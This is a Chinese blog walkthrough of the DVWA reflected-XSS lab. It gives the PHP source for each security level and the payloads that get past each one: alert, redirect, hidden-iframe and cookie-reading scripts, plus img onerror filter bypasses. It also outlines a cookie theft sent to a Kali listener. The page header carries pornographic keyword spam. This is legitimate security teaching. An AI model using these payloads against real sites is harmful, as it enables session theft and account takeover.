日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

DVWA-XSS (Reflected)

發布時間:2023/12/14 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA-XSS (Reflected) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

  • 簡介
  • 安全級別:Low
  • 安全級別:Medium
  • 安全級別:Impossible
  • 防護總結

簡介

XSS(cross-site scripting)

跨站腳本攻擊,通過web站點漏洞,向客戶端交付惡意腳本代碼,這些代碼可以被瀏覽器成功的執行,從而實現對客戶端的攻擊;

XSS可以盜取客戶端cookie,將客戶端重定向到第三方網站;

客戶端腳本語言

彈窗警告、廣告;

JavaScript;

在瀏覽器中執行;

XSS漏洞類型

存儲型XSS;(持久型)

惡意代碼被保存到目標網站的服務器中,每次用戶訪問時都會執行腳本代碼,這種攻擊具有較強的穩定性和持久性;

反射型XSS;(非持久型)

惡意代碼并沒有保存在目標網站,通過引誘用戶點擊一個惡意鏈接來實施攻擊的;

DOM型XSS

DOM型XSS是一種基于DOM樹的XSS,例如服務器端經常使用document.boby.innerHtml等函數動態生成html頁面,如果這些函數在引用某些變量時沒有進行過濾或檢查,就會產生DOM型的XSS;DOM型XSS可能是存儲型,也有可能是反射型;

危害

竊取管理員帳號或Cookie,入侵者可以冒充管理員的身份登錄后臺。使得入侵者具有惡意操縱后臺數據的能力,包括讀取、更改、添加、刪除一些信息。
竊取用戶的個人信息或者登錄帳號,對網站的用戶安全產生巨大的威脅。例如冒充用戶身份進行各種操作。
網站掛馬。先將惡意攻擊代碼嵌入到Web應用程序之中。當用戶瀏覽該掛馬頁面時,用戶的計算機會被植入木馬。
發送廣告或者垃圾信息。攻擊者可以利用XSS漏洞植入廣告,或者發送垃圾信息,嚴重影響到用戶的正常使用。

安全級別:Low

查看源碼

<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>

源碼分析

在源碼中,可以看到直接引用來 name參數,并沒有對參數做任何過濾;例如:輸入a,則返回含有a的js頁面;

構造彈窗

<script>alert('xss')</script>


重定向

<script>window.location="http://www.baidu.com"</script>

訪問192.168.37.128/a.jpg

<iframe src='http://192.168.37.128/a.jpg' height='0' width='0'></iframe>

獲取cookie

<script>alert(document.cookie)</script>

監聽

步驟:

1. 制作一個js腳本;2. 把js腳本放到www目錄下;3. 開啟阿帕奇服務;4. 監聽端口;5. 訪問js腳本;6. 獲取到js腳本實現的結果;

首先在Kali上寫a.js腳本,開啟Apache服務,并監聽指定的端口;


輸入

查看Kali監聽到的cookie值;

安全級別:Medium

查看源碼

<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>

源碼分析

將<script>過濾,可以使用事件類型標簽繞過,也可使用嵌套構造和大小寫轉換繞過

構造彈窗

<img src=1 onerror=alert('xss') />


安全級別:High
查看源碼

<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>

源碼分析

正則過濾更加完善,不區分大小寫,且使用通配符匹配,導致嵌套構造的方法也不能成功,但依舊可以使用事件類型標簽或偽協議的方法

構造彈窗

<img src=1 onerror=alert('xss') />

安全級別:Impossible

查看源碼

<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }// Generate Anti-CSRF token generateSessionToken();?>

源碼分析

name變量通過htmlspecialchars()函數被HTML實體化后輸出在了標簽中,目前來說沒有什么的姿勢可以繞過,如果這個輸出在一些標簽內的話,還是可以嘗試繞過的
當安全級別為Impossible時,使用htmlspecialchars函數把預定義的字符&、”、 ’、<、>轉換為 HTML 實體,防止瀏覽器將其作為HTML元素(特殊意義)

防護總結

轉義字符輸出
白名單驗證
HTML實體化

總結

以上是生活随笔為你收集整理的DVWA-XSS (Reflected)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。